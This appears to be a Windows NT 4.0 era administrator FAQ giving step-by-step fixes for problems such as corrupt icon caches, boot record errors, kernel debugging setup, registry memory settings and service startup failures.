I had this exact problem a short time ago and it was because a Windows 98 version of VER.DLL had replaced the NT one.


Q. I have installed IE 4.0 now my shortcut icons are corrupt.

A. Windows keeps a cache of icons and this can become corrupted and so one method to try is to delete the hidden file '%SystemRoot%\ShellIconCache' and restart Windows NT. The 'correct' desktop icons will be recreated when you login.

C:\> attrib %systemroot%\shelliconcache -h
C:\> del %systemroot%\shelliconcache

If the icons are still corrupt delete the file again and reboot. I have seen many occasions where two reboots are necessary.

This problem can also be caused by an incompatibility between the final version of Internet Explorer 4.0 and TweakUI. To fix this you will need to uninstall TweakUI.

  1. Start the Add/Remove Control Panel Applet (Start - Settings - Add/Remove Programs)
  2. Select TweakUI and click Add/Remove

If you get an error saying it was unable to be removed you can manually remove it by entering the following command

rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultUninstall 4 e:\winnt\inf\tweakui.inf

You should then reboot the computer.

If you find after the reboot the icons are still corrupt, install TweakUI again and then remove.


Q. I have lost access to the root of the boot partition, now I can't logon.

A. If you set the root of the boot partition to no access then you will be unable to logon. To get round this perform the following

  1. Logon to the NT machine as Administrator
  2. When you get the blue screen and "Path too Long" press the OK button
  3. Press Ctrl-Alt-Del and the Windows NT Security dialog box will be shown
  4. Press the Task Manager button and the task manager will be shown
  5. Select the Applications tab and click the "New Task" button
  6. Enter the path "%systemroot%\system32\cmd.exe"
  7. Enter the command
    CACLS d:\ /e /g everyone:F
    where d is the boot partition
  8. Select Task Manager again and click "New Task", and enter %systemroot%\explorer.exe, the desktop should now appear
  9. Logout and login again to confirm everything is OK
  10. You should now set the permissions on the root, see Q155315 at http://support.microsoft.com/support/kb/articles/q155/3/15.asp for more information


Q. I receive the error: WNetEnumCachedPasswords could not be located in MPR.DLL:

A. This problem is caused by the file mapi32.dll being replaced by an application installation, usually with the Windows 95 version. To correct the problem reinstall the mapi32.dll file from the NT installation CD-ROM

  1. Insert the NT installation CD-Rom
  2. Backup your current mapi32.dll
    copy %systemroot%\system32\mapi32.dll %systemroot%\system32\mapi32.old
  3. Move to your processor type on the CD-ROM, e.g.
    cd i386
  4. Enter the command
    expand -r mapi32.dl_ %systemroot%\system32

Be aware that if you have applied service packs, mapi32.dll was redelivered in some of the service packs so you should take mapi32.dll from the service pack delivery (expand the service pack and then copy the file over).


Q. How can I perform a kernel debug?

A. To perform a kernel debug, the computer should be connected via a null modem cable or a modem connection for dial in purposes. The computers will be referred to as "Host" for the machine that will perform the debug, and "Target" for the machine that has the problem and is being debugged.

The computers should both be running the same version of Windows NT and the symbol files for the Target machine should be installed on the Host computer. The symbol files are supplied on the Windows NT installation CD-ROM in the Support\Debug directory.

The Target computer's boot.ini entry needs to be modified to allow debugging as follows:

  1. Modify boot.ini to be editable
    attrib c:\boot.ini -r -s
  2. Edit the file and edit the Windows NT start line to include /debug (to tell the system to load the kernel debugger into memory at bootup). Other options are /Debugport to tell which COM port to use (by default COM2) and /Baudrate for the speed (by default 19200, better to be 9600), e.g.
    [operating systems]
    multi(0)disk(0)rdisk(0)partition(0)\WINDOWS="Windows NT Debug" /debug /debugport=com2 /baudrate=9600
  3. Save the file
  4. Set boot.ini attributes back
    attrib c:\boot.ini +r +s

In the example above the Target machine will allow debug connection using Com2: at a speed of 9600 bps.

The host computer needs to be configured with the information it needs to perform the debug and the installation of the symbol files.

To install the symbol files move to the \support\debug directory on the CD-ROM and enter the command

expndsym <CD-ROM>: <target drive and directory>
e.g. expndsym f: d:\symbols

This may take some time. Remember if you have installed service packs on the target machine the symbol files for these will also need to be installed on the host computer. The symbol files for service packs need to be download from Microsoft separately.

The next stage is to configure the environment variables needed for the debugging, such as the symbol file location etc., these are outlined below.

_NT_DEBUG_PORT | COM port to be used, e.g. COM2:
_NT_DEBUG_BAUD_RATE | Speed for the connection, e.g. 9600, make sure this matches the /baudrate specified on the target machine
_NT_SYMBOL_PATH | Location of the symbols files (where you expanded them to using the expndsym utility)
_NT_LOG_FILE_OPEN | Name of the file used for the log of the debug session (optional)

It may be worth putting the definition of the above into a command file to avoid having to type in the commands every time, e.g.

echo off
set _nt_debug_port=com2
set _nt_debug_baud_rate=9600
set _nt_symbol_path=d:\symbols\i386
set _nt_log_file_open=d:\debug\logs\debug.log

Next you should copy over the kernel debug software which is located in the support\debug\<processor> directory on the NT installation CD-ROM, e.g. support\debug\I386. It is easier just to copy over the entire directory as it is not very large (around 2.5MB). The actual debugger for the I386 platform is I386KD.EXE and you would just enter I386KD to start the debugger. To enter a command press CTRL+C and wait for the kd> prompt.


Q. How do I configure remote debugging?

A. If you find you do not have the knowledge to debug a Windows NT problem you may need to get Microsoft to perform the debug for you, and in this scenario 3 computers will be involved, the computer at Microsoft, the host machine and the target.

The Microsoft machine will need to connect via RAS to either the host machine, or a computer on the same network, so one machine will need to run the RAS server service.

The configuration is the same as in the previous FAQ, except that on the host machine instead of entering the command I386KD.EXE the command

remote /s "I386KD -v" debug

where debug is the name of the session (this can be anything). At the Microsoft end once they had connected to the network they would enter the command

remote /c <computer name of the host> debug

again debug is the name of the session and must match that configured at the host machine.


Q. I get the error "Not enough server storage is available to process this command".

A. This problem may be due to the machines having a non-zero PagedPoolSize in the registry. This can be set by performing the following:

  1. Log onto the server as an Administrator
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  4. Double click on PagedPoolSize and set to 0
  5. Click OK
  6. Close the registry editor
  7. Reboot the machine

If PagedPoolSize is 0 then it allows NT to dynamically allocate memory, the installation of software such as ARCServe is known to cause this problem.

This can also be caused when accessing a Windows NT Server share from a Windows NT client if IRPstackSize is too small. To correct try the following:

  1. Log onto the server as Administrator
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
  4. Double click on IRPstackSize
  5. Increase the value. Valid ranges are between 1 and 12. Click OK
  6. Reboot the machine.

You may find once setting this, other connections, such as those to NetWare volumes, gain a performance boost.

Another cause for this error is if you installed Service Pack 3 onwards before installing any network components. If this is the case then re-apply Service Pack 3 and any subsequent hotfixes. It is good practise to reapply a service pack whenever you modify/add components to the system.


Q. I can't delete a directory called con, prn.

A. CON is a reserved name, so to delete you must use the UNC,

C:\>rd \\.\<drive letter>:\<dir>
e.g. rd \\.\c:\john\con

This can also apply to the prn directory. At boot time, PRN is internally configured to direct any communication with the PRN device to LPT1 (just some background :-) ).


Q. I get an error when I try to export a profile other than Administrator.

A. This is usually due insufficient privilege on the Protected Storage System Provider\<SID> key. To be able to export your profile perform the following:

  1. Logon as you
  2. Start the registry editor (regedt32.exe)
  3. Select the "HKEY_CURRENT_USER on Local Machine" window
  4. Move to Software\Microsoft\Protected Storage System Provider\<SID>
  5. Select Permissions from the Security menu
  6. Click Add
  7. Select Domain Admins (or whatever you want), access type READ and click Add. When finished click OK

You should now be able to export this profile. To be able to export someone else's profile perform the following:

  1. Logon as an Administrator
  2. Start the registry editor (regedt32.exe)
  3. Select the "HKEY_USERS on Local Machine" window
  4. From the registry menu select "Load hive"
  5. Move to the persons profile area in the %systemroot%\Profiles\<name>, e.g. d:\winnt\Profiles\batman
  6. Select the NTUSER.DAT file and click OPEN
  7. When asked for a key name enter their name (e.g. John) and click OK
  8. Now move to <user name>\Software\Microsoft\Protected Storage System Provider\<SID>
  9. Select Permissions from the Security menu
  10. Click Add
  11. Select Domain Admins (or whatever you want), access type READ and click Add. When finished click OK
  12. Select Unload Hive from the registry menu
  13. Close the registry editor

You will now be able to export this users profile.


Q. I have chosen a screen resolution that has corrupted the display and now I can't change it back.

A. When you try and change screen resolution, Windows NT asks you to test it, if you ignore this and set the display to a resolution that causes a problem your only course of action to to boot in VGA mode, and then once in VGA mode set the resolution back to something you know works.

  1. Reboot the machine
  2. Select the option
    Windows NT Workstation Version 4.00 [VGA mode]
    If you find you don't have this option edit boot.ini and add a line similar to your normal NT Workstation startup with the /basevideo /sos, e.g.
    multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo /sos
  3. The machine will boot in base 16 colour VGA mode
  4. Select the Display Control Panel applet (start - settings - control panel - display)
  5. Click the Settings tab and change to a resolution you know works (use test)
  6. Click OK


Q. I get error "Boot record signature AA55 not found (1079 found)".

A. If Windows NT is installed on a logical drive in an extended partition (the 4th partition is usually the extended start), after you select the OS choice and NTDETECT runs, this error message will appear:

"OS Loader 4.0 Boot record Signature AA55 Not Found, xxyy Found.

Windows NT could not start because of a computer disk hardware configuration problem.
Could not read from the selected boot disk. Check boot path and disk hardware.

Please check the Windows NT Documentation about hardware disk Configuration and your
hardware reference manuals for additional information. "

The Master Boot Record consists of boot code that is used by the system BIOS to read the partition table. From data contained in the partition table, the MBR can determine which partition is set to be bootable (active) and also the starting sector of that partition. Once that location is determined , the BIOS jumps to that sector and begins the next phase of the boot process by executing additional code that is operating-system specific.

If you have files required for boot located above 1024 cyl, it will fail. If you're running scsi, there's a chance you can get around it by using the scsi driver as ntbootdd.sys. If you're on IDE you're out of luck.

Windows NT 5.0 gets round the boot failure if any files needed for boot are above cylinder 1024 with an updated NTLDR. This file can be copied to a Windows NT 4.0 installation on the active partition without any ill effects, just make sure you have Service Pack 4 applied to the system before copying the NT 5.0 NTLDR.

If the only thing wrong with sector zero was that the last two bytes are not 55AA, this can be fixed with a disk editor such as Norton Diskedit. However, this message is usually indicative of something overwriting or destroying the entire boot sector (sector zero) including the partition table entries.

When you install Windows NT on a logical drive in an extended partition - OSLOADER needs to "walk the extended partition table" through BIOS calls in order to get to the partition you have Windows NT installed in. Each of these logical drives are addressed in a "daisy chain" of partition tables. Each sector that contains a partition table entry MUST end with a 55AA as the last 2 bytes in the sector.

The best way to determine how to recover is to use a disk editor to see if the partition table entries are still intact. Each sector occupies 512 bytes. The first 446 bytes of sector zero contain the MBR boot code followed by the partition table entries, and ends with 55AA. If the partition table entries are still intact at offsets 1BE through 1FD, manually record their values, then write 55AA starting at offset 1FE. Once the signature 55AA is written the MBR boot code can be regenerated by using the Fdisk.exe program from MS-DOS version 5.0 or later.

FDISK /MBR

WARNING: This process will repair the bootstrap code and the 55AA signature by rewriting sector zero but will also overwrite the partition table entries with all zeros, rendering your logical drives useless (unless, that is, the 55AA signature is manually entered using a disk editor prior to your performing the FDISK /MBR).

If the partition table entries are not intact or were overwritten with unreadable characters, the problem is more involved and entails locating the master boot sector (MBS) for each partition and manually rebuilding the partition table entries. This process is beyond the scope of this article.

To speed recover from future MBR corruption, use the Windows NT 4.0 Resource Kit utility Disksave.exe to save a copy of the MBR to a floppy disk. This can be used if needed at some future date to restore the MBR using Disksave.exe.

In the case where Windows NT is installed on a logical drive in an extended partition, you will need a disk editing utility like Norton Diskedit to examine each sector containing an extended partition logical drive entry to make sure it ends with a 55AA. This process is beyond the scope of this article.

A virus in your boot sector may also cause this problem so run an anti-virus program on your boot sector if in doubt.

Most of this information is from Knowledge base article 149877.


Q. When I boot up NT, it pauses for about 30 seconds on the blue screen.

A. Each dot is part of the boot-time chkdsk (autochk.exe), and each 3 dots represent one drive so there should be 3*<number of drives> dots. Sometimes if something is wrong with that drive the startup will be delayed. However there is a known problem with NT if your computer has one or more IDE disks and one or more SCSI disks which results in a pause of around 30 seconds. The problem is due to the detection code used by NT and is currently being investigated by Microsoft.


Q. I receive a RDISK error, disk is full.

A. When you run the rdisk.exe it updates the directory %systemroot%\repair with the following files

File | Registry Hive
AUTOEXEC.NT | This is not a registry hive but rather a copy of the autoexec.nt file located in the %systemroot%\system32 directory
CONFIG.NT | As above
DEFAULT._ | HKEY_USERS\.Default
NTUSER.DA_ | New user profile
SAM._ | Parts of HKEY_LOCAL_MACHINE\Security
SECURITY._ | HKEY_LOCAL_MACHINE\Security
SETUP.LOG | Details of location of system and application files along with cyclic redundancy check information for use with a repair
software._ | HKEY_LOCAL_MACHINE\Software
system._ | HKEY_LOCAL_MACHINE\System

As the system is used the files setup.log, sam._ and security._ will grow. The sam._ and security._ files are only updated if rdisk.exe is run with /s qualifier, e.g. rdisk /s.

If the contents of the %systemroot%\repair directory exceeds 1.44 MB then you will receive the error "The Emergency Repair disk is full. The configuration files were saved in your hard disk". You should look at the contents of the repair directory and ascertain which file is the problem, i.e. setup.log is 1MB!

If setup.log if the problem then you can perform the following.

  1. Create a copy of setup.log in the repair directory
    copy %systemroot%\repair\setup.log %systemroot%\repair\setup.backup
  2. Edit the setup.backup file using notepad
  3. Move to the [Files.WinNt] section and remove all entries except those starting with %systemroot%\system32 (or whatever %systemroot% equates to, e.g. winnt)
  4. Save the modified file
  5. Run RDISK.EXE
  6. When completed delete the setup.log that was created
    del %systemroot%\repair\setup.log
    And copy the backup version back
    copy %systemroot%\repair\setup.backup %systemroot%\repair\setup.log

If the problem is not setup.log and is that the sam._ and security._ files are too large then the problem is there are too many accounts on the system so you need to delete some of your user accounts :-) Only joking!

What you can do is locate an ERD that was created early in the computers life where the sam._ and security._ files are small and copy these to the %systemroot%\repair directory and in future do not run rdisk.exe with /s option. This does mean that account information will not be recoverable and you will need to know what the Administrator password was when the original ERD was created (as if it was used accounts would be set back to this state).

Obviously you will still want to be able to restore accounts in the event of a disaster so I would suggest one of the following

  • Use NTBACKUP.EXE with the option of backing up local registry
  • Use the REGBACK.EXE and REGREST.EXE that come with the resource kit to backup the entire registry to file and then restore, e.g.
    REGBACK d:\registry.bku

For more information see Knowledge base article Q130029 at http://support.microsoft.com/support/kb/articles/q130/0/29.asp


Q. My Shortcuts try and resolve to UNC paths?

A. Shortcuts when created are automatically created with an UNC with \\<Computer name>\<file> in .lnk file. This is usually a problem if you copy shortcuts to other machines, however there are a number of ways to fix this.

To fix a single shortcut you can use the shortcut.exe program supplied with the Windows NT Resource Kit supplement 1 kit.

To dump out a shortcut use shortcut -u <file>.lnk

To alter the shortcut to not track the machine before you copy it to others use the command

shortcut -c -s -n <shortcut name>.lnk

To change the target and working directory on a moved shortcut use

shortcut -c -t d:\www.ntfaq.com\index.html -d d:\www.ntfaq.com -n ntfaq.lnk

To disable link tracking for all shortcuts perform the following:

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
  3. If the Explorer key exists move to it, if not create it using Edit - New Key "Explorer". Select the new key
  4. Create a new value LinkResolveIgnoreLinkInfo of type DWORD (Edit - New DWORD value)
  5. Double click the new value and set to 1
  6. Close the registry editor
  7. Logon and off for the change to take effect


Q. When I select a hyperlink or open a channel system32 folder opens?

A. A fix for this can be requested from Microsoft support, 338.exe. The fix has not been fully tested which is why it cannot be downloaded from their site. This fix will be in Service Pack 4.

As a work around you should either remove the Active Desktop or when the Logon box is displayed wait 1 minute before logging on.


Q. When I try and use WinAT I get a Dr Watson error.

A. This is usually caused by the Resource Kit being installed in a long file name directory, e.g. d:\program files\reskit. To get rid of this problem install the resource kit in a short name directory (8 characters or less).

If you go to a command prompt and type WINAT, it will actually start OK even if it's on a long file/path name. If you do it from your Start menu or Start Run, it will fail.


Q. Drive mappings are being created by themselves.

A. One known cause of this behavior is the FINDFAST.EXE application that is supplied with Office 97. If either set of the following conditions are both true then drive mappings may be created automatically:

Condition set 1

  • You perform a search in either the Open dialog box or the Advanced Find dialog box in any Microsoft Office 97 program
  • The drive you search contains shortcuts that specify a target location that uses a network drive letter instead of a universal naming convention (UNC) path (for example, \\<Server>\<Share>)

Condition set 2

  • Find Fast is installed in your Startup group
  • You index a drive that contains shortcuts that specify a target location that uses a network drive letter instead of a UNC path

There are a number of resolutions to this

  1. Install Service Pack 3
  2. Avoid searching folders that contain shortcuts (.lnk files)
  3. Change shortcut target locations to UNC paths, e.g. d:\folder\john.txt to \\<server>\<folder>\john.txt
  4. Disable Find Fast

My experience with FindFast is that is uses up a great deal of system resources and is not worth the resource usage for what it does so option 4 may be your best bet.

See Knowledge Base article Q150604 (http://support.microsoft.com/support/kb/articles/q150/6/04.asp) for more information.


Q. I can't create a partition over 1GB on an Adaptec 2940 SCSI controller.

A. As you boot up, you should be able to do a ALT-A, this takes you into the SCSI BIOS, under "Advanced Host Adaptor Settings" "Extended BIOS Translation for DOS Drives >1Gb" must be enabled.


Q. I get a STOP 0x00000078 error.

A. This can be caused by a bug in Windows NT where the error is produced if the NonPagedPoolSize is greater than 7/8 of your physical memory. To correct this perform the following:

  1. Start the Registry Editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  3. Double click on NonPagedPoolSize
  4. Change this to less than 7/8's of your physical memory (or set to 0 to let NT dynamically set it). Click OK
  5. Close the registry editor
  6. Reboot the computer


Q. A file Testdir.tmp

Q. A file Testdir.tmp is created on a shared volume which cannot be deleted.

A. When a file/folder is copied to a shared NTFS volume, a file Testdir.tmp is created and then automatically deleted. Sometimes the user performing the copy does not have delete permission on the shared NTFS volume and so the file is not deleted and has to be manually deleted by someone who has the delete privilege.

To fix this, give the Delete permission to the user or group who perform the copies.

  1. Logon to the machine that hosts the NTFS volume as an Administrator
  2. Start Explorer (Win + E)
  3. Right click on the NTFS volume and select Properties from the context menu
  4. Select the Security tab and click the Permissions button
  5. Click the Add button and select the user or group required
  6. Click OK
  7. In the main Permissions dialog box select the new user and in the "Type of access" box select "Special File Access"
  8. Check the "Delete" box and click OK
  9. Click OK to close the Permissions dialog box and OK again to close the drive properties dialog box


Q. How can I replace an in use NT system file?

A. If you attempt to replace any of the core NT system files a message will be displayed saying the file is currently locked. The Windows NT Resource Kit ships with MV.EXE which is a 32 bit version of the POSIX MV utility which allows file moves to be scheduled for the next reboot which will mean the system files will not be locked by the operating system.

The basic format of MV is as follows:

c:\>mv /x /d d:\temp\ntfs.sys d:\winnt\system32\drivers\ntfs.sys

The /x means do not save a copy of the file that is replaced. If you do not specify /d a hidden,system subdirectory "deleted" will be created under the destination directory and a copy of the original file placed there.

The /d means do not copy the file until reboot time. The first file name is the file to be copied and the second the the destination name and directory of the copy.

You can do this without using the MV.EXE utility by just manually updating the registry (which is all MV does)

  1. Start the registry editor (regedt32.exe not regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
  3. Double click on PendingFileRenameOperations (or create of type mutli_str if it does not exist)
  4. On the first line is the name of the file that will be replacing the current file with \??\ in front, e.g.
    \??\d:\time\ntfs.sys
  5. On the second line is the file to replaced with !\??\ in front, e.g.
    !\??\d:\winnt\system32\drivers\ntfs.sys
  6. Click OK

Below is an example value for PendingFileRenameOperations

Replacing in use file

Once the reboot is complete and the file replaced the PendingFileRenameOperations value will be deleted from the registry.


Q. I removed my folder association and cannot open any folders!

A. That was silly :-)

Fortunately this can be fixed with two simple commands which should be run from a command session (cmd.exe)

  1. From the Start menu select Programs and then Command Prompt (or select Run and enter cmd.exe)
  2. Enter the following commands:
    ftype folder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    assoc folder=folder
  3. Close the command session

The first command creates a new file type, folder, and the action associated with it. The second command creates the association between the "extension" and its file type.


Q. The batch file I schedule to run does not work with the /every switch.

A. You may find that if you submit a batch file with out the /every switch it works fine, e.g.

at 22:00 /interactive command.bat

however if you try

at 23:00 /every:M,T,W,Th,F /interactive command.bat

it fails. To correct this add cmd /c "<batch file>", e.g.

at 23:00 /every: M,T,W,Th,F /interactive cmd /c "command.bat"


Q. I have a volume of type Unknown in Disk Administrator.

A. If you have a partition in Disk Administrator that is of type unknown it does not necessarily mean the partition is corrupt. If the user has no permissions on the root of the drive then Unknown will be shown as the file type. To correct this perform the following:

  1. Start Explorer
  2. Right click on the root of the partition and select Properties
  3. Select the Security tab
  4. Click the Ownership button
  5. Click the "Take Ownership" button
  6. Click Yes to all confirmation dialog boxes

The file system type of the partition will now be visible in Disk Administrator.

Also remember Disk Administrator cannot understand non NT partitions such as Linux partitions which would also give the volume type is unknown error.


Q. I am unable to use Start from the command line with files with spaces in.

A. The Windows NT Start command allows the user to create separate window/process to run a specified program. If you try and run something that consists of a long file name with a space in quotes if fails and just brings up an empty cmd.exe window, e.g.

C:\> start "d:\documents\ntfaq book\contents.doc"

fails. In order to make it work only the part that has the long name should be in quotes, e.g.

C:\> start d:\documents\"ntfaq book"\contents.doc

will work OK. This applies to anything such as a server, share etc, e.g.

C:\> start \\"<server with space>"\"<share with space>"\"<dir with space>"\"<file with space>"
e.g. C:\> start \\"johns server"\"docs share"\"ntfaq dir"\"table of contents.doc"

This is basically down to the fact that the first item in quotes should be the title of the window, and so a better way to work round the problem is to use

C:\> start "" "d:\documents\ntfaq book\contents.doc"

which will now work fine and there can be as many spaces as you want in any part.


Q. I am not offered the option to install from an INF context menu.

A. The options given from a context menu are derived from its file type entry under HKEY_CLASSES_ROOT\inffile. The first item to check is that .inf is associated with inffile, and this can be checked with

C:\> assoc .inf
.inf=inffile

If you do not get the above response enter the command

C:\> assoc .inf=inffile

The next step is to check the context menu item "install" exists for inffile:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_CLASSES_ROOT\inffile\shell
  3. Check for a sub-key "Install", if it does not exist select "Add Key" from the Edit menu and enter a name of Install.
  4. The default entry from Install (called <No Name>) should be &Install. If it does not exist select "Add Value" from the Edit menu, do not enter any name, select type REG_SZ and click OK. It will then ask for a string which should be "&Install" (don't actually enter the quotes). Click OK
  5. Under the Install key should be another key, command. If this does not exist, again create using "Add Key" from the edit menu.
  6. Under the command key should be a default value (called <No Name>) which should have the data "%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %1" in it. The the default key is missing exist select "Add Value" from the Edit menu, do not enter any name, select type REG_EXPAND_SZ and click OK. It will then ask for a string which should be "%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %1" (don't actually enter the quotes). Click OK
  7. Close the registry editor

You should now have an install option for .inf files.


Q. How can I deallocate corrupt Memory?

A. If you get the blue screen or Dr. Watson often. Your Memory may be corrupt or you have mixed the Memory.

For testing this FAQ I have mixed two EDO-SIMM (2x16 MB) with two normal SIMM (2x16 MB) on a ASUS-Board P55 TP4-XE (This board can use mixed Memory). After this I often received Dr. Watson errors.

You should use the MAXMEM-Switch in Boot.ini to deactivate the corrupt memory bank until such time mixed memory is not longer in the mother-board. The MAXMEM switch will always use the lowest physical memory addresses, and therefore always uses bank0+. During the NT boot process NT probes the memory hard to make sure that it is really there and working -- generating a blue-screen if any memory tests fail.

  1. Set the attributes on boot.ini so you can edit it
    C:\> attrib c:\boot.ini -r -s -h
  2. Edit boot.ini and add the Switch e.g /MAXMEM=32 to the end of your Windows NT option, e.g.
    multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00" /maxmem=32
  3. Save the file and reset the attributes:
    C:\> attrib c:\boot.ini +r +s +h
  4. Reboot

Windows NT uses this switch and limits the whole memory from 64 to 32 MB and chooses only the good memory bank. You can also use this Switch to observe the swapping process if limiting the whole memory.


Q. I am unable to run certain 16 bit applications.

A. Certain 16-bit applications won't run under Windows NT, for example if they try and directly access hardware but if you are receiving any of the following errors then you may be able to do something about it:

  • Cannot run 16-bit Windows program. This program requires a newer version of Windows
  • Cannot run the 16-bit program. The application is not supported by Windows NT
  • Can't run 16-bit Windows program. One of the library files needed to run <program> is damaged. Please reinstall this application

A possible cause for these errors are if any of the following dynamic link libraries are missing, corrupt or simply the wrong version.

  • compobj.dll
  • ddeml.dll
  • ole2.dll
  • ole2disp.dll
  • storage.dll
  • ctl3dv2.dll
  • ole2nls.dll
  • stdole.tlb
  • typelib.dll
  • ver.dll
  • commdlg.dll

To fix expand/copy the files from the latest service pack/hotfix you have applied or if not found in the latest service pack, from your Windows NT installation CD-ROM.

Another cause may be that the file NTVDM.EXE has been deleted from your %systemroot%\system32 directory so check this.


Q. I have a service stopping NT from booting.

A. Normally you can modify the start-up of services using the Services control panel applet or Computer Management MMC snap-in - System Tools - Services in Windows NT 5.0. When you modify the start-up of a service it actually changes a value, Start, under the Services registry key, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.

The first action to try is when Windows NT boots select "Last Known Good configuration" however if this does not work you can use the following.

The Start value of a service can have a number of values as defined in Q. What are the ErrorControl, Start and Type values under the Services subkeys?

In order to modify the start-up state of a service from outside of NT you will need to install a second copy of Windows NT on the machine (or if you can get the System file from the machine onto another machine using a tool like ERD Commanded (from http://www.winternals.com) the extra copy is not necessary).

  1. Install a second copy of NT (minimal) to a different partition
  2. Boot into the second copy of NT
  3. Start Regedt32.exe
  4. Select the HKEY_LOCAL_MACHINE window
  5. From the Registry menu select "Load Hive"
  6. Move to your original NT installation partition and folder and then to system32\config, e.g. c:\winnt\system32\config
  7. Select System file and click Open
  8. Enter a name for this temporary hive open, e.g. OrigSystemHive
  9. Select the new hive, e.g. OrigSystemHive and select the "Select" key
  10. Check the value of Default, this value is usually 1. This number is x (you'll see what I mean)
  11. Now move to OrigSystemHive\ControlSet00x, e.g. OrigSystemHive\ControlSet001
  12. Now under this key select Services and find your problem service and select it
  13. Double click its "Start" value and modify, 4 would disable the service, 2 would set it to auto start. If you have a more complex problem changing the Type value may be necessary to alter when the service is attempted to load
  14. Move back to the base, e.g. OrigSystemHive and select "Unload Hive" from the Registry menu. Click Yes to the warning box
  15. Reboot into your original NT installation and your service problem should be resolved

You can now deleted your second copy of NT if you wish however it is always useful and takes up a minimal amount of space.

Another solution is to use ERD Professional which allows you to specify startup options for services/drivers from outside of NT, have a look at http://www.winternals.com.


Q. If I run winfile d: it starts Explorer?

A. If you try and pass WINFILE.EXE (the old File Manager pre 4.0) a drive, expecting it to start by default on that drive, you will find that it starts WINFILE as normal and then opens an Explorer view of the drive specified, e.g.

C:\> winfile d:

would start a File Manager session and an Explorer session which points to d:

This behavior is not a bug and is caused by a misunderstanding of the parameters expected by WINFILE.EXE. Any parameters passed to WINFILE.EXE are interpreted that it should run as a program, e.g. you could type

C:\> winfile notepad c:\file.txt

and it would start a File Manager session and a notepad session editing file.txt.

The reason Explorer starts if you specify a drive letter is that under NT and 95/98 any directory listings are executed by Explorer. Try typing C: from Run and it will start Explorer pointing to C:


Q. I have problems with tips after Service Pack 4.

A. If you receive an access violation from IntelliPoint Productivity Tips, Tips.exe, when starting Windows NT 4.0 SP4, it is recommended that you install the latest version of IntelliPoint software, available from the Microsoft Web site at http://www.microsoft.com/products/hardware/mouse/. Version 2.2c should fix the problem.

If this does not solve the problem perform the following:

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  3. Look for a TIPS value, and if found, delete it


Q. After installing Service Pack 4 my ATAPI/IDE ZIP drive is not available.

A. This seems to be caused by the drive not being assigned a drive letter. To resolve perform the following:

  1. Insert a ZIP disk into the drive
  2. Start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator)
  3. Right click on the ZIP drive and select "Assign drive letter"
  4. Select a Drive letter (e.g. H) and click OK
  5. The change will take effect and the drive should now be visible from Explorer.


Q. Disk power management does not work after Service Pack 4.

A. After Service Pack 4 is applied the Windows NT operating system accesses the disk every 5 minutes which will interfere with disk power management features. This disk access is caused by a time stamp used by the Event Log service and was intended for NT Server only but has been enabled on Workstation.

To fix this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability
  3. From the Edit menu select New - DWORD value and enter a name of TimeStampInterval
  4. Double click the new value and set to 0
  5. Close the registry editor
  6. The change should take immediate effect. If you change from 0 to another value then a reboot is required.

See http://support.microsoft.com/support/kb/articles/Q194/7/49.ASP for more details but this has been fixed in Service Pack 5.


Q. I get error: Your password must be at least 0 characters long.

A. If you have enabled the strong password filter (for information on this see Q. How do I enable strong password filtering?) but your domain account policy has no password restrictions and allows blank passwords then you will get the error:

Your password must be at least 0 characters long. Your new password cannot be the same as any of your previous 0 passwords. Also, your site may require passwords that must be a combination of upper case, lower case, numbers, and non-alphanumeric characters. Type a password which meets these requirements in both text boxes.

To resolve this you will need to turn off the secure password filter

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. Double click on "Notification Packages"
  4. Remove the value "PASSFILT"
  5. Click OK
  6. Close the registry editor
  7. Reboot the machine

Alternatively turn off the ability to have blank passwords:

  1. Start User Manager
  2. Select Account from the Policies menu
  3. Set the minimum password length to 6 or above
  4. Click OK


Q. What is Remote Explorer?

A. Remote Explorer is a new NT specific virus. If you wish to check your Windows NT system for this virus, you can look in the "Service" applet in the Control Panel. If you see a service called "Remote Explorer", you may be infected by this virus.

The virus has been known to hit MCI Worldcom and results in .exe, .txt and .html file damage.

A virus killer is available from http://www.nai.com/products/antivirus/remote_explorer.asp


Q. When I try and edit the default domain controller policy from Directory Management MMC the local policy is shown, why?

A. Normally to edit the default domain controller policy you would

  1. Start the Directory Management MMC (Start - Programs - Administrative Tools - Directory Management)
  2. Select the domain and right click on "Domain Controllers" and select Properties
  3. Select the 'Group Policy' tab
  4. The policies in effect will be shown, normally 'Default Domain Controllers Policy". If you select it and click Edit the Group Policy editor MMC should start with "Default Domain Controllers Policy" as its root. You can then make changes

If when Group Policy Editor starts, you instead have "Local Policy" at the root the likely cause is the MMC start setting has been corrupted and this is usually caused by the installation of Office 2000. To repair perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\MSCFile\Shell\Open\Command
  3. Double click on (Default)
  4. If the line reads
    D:\WINNT\System32\MMC.EXE "%1"
    (your NT installation location may be different) Add %* to the end, e.g.
    D:\WINNT\System32\MMC.EXE "%1" %*
  5. Click OK

